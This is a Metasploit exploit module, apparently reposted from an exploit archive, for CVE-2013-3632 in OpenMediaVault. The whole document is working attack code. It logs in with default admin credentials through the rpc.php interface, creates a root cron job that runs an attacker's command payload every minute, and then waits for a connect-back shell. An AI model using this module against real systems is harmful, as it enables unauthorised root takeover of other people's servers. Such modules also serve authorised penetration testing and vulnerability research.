OpenMediaVault Cron – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'OpenMediaVault Cron Remote Command Execution', 'Description' => %q{ OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system. An attacker can abuse this to run arbitrary commands as any user available on the system (including root). }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'References' => [ ['CVE', '2013-3632'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet python', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Oct 30 2013', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault']) ], self.class) end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) sess = init.get_cookies post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}" login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/rpc.php'), 'data' => post, 'ctype' => 'application/json', 'cookie' => sess }) if !login or login.code != 200 fail_with("Login failed") end sess = login.get_cookies post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"' post << payload.encoded.gsub('"', '\"') post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}' resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/rpc.php'), 'data' => post, 'ctype' => 'application/json', 'cookie' => sess }) if !resp or resp.code != 200 fail_with("Posting cron failed.") end print_status("Waiting for connect-back, this will take up to a minute") end end |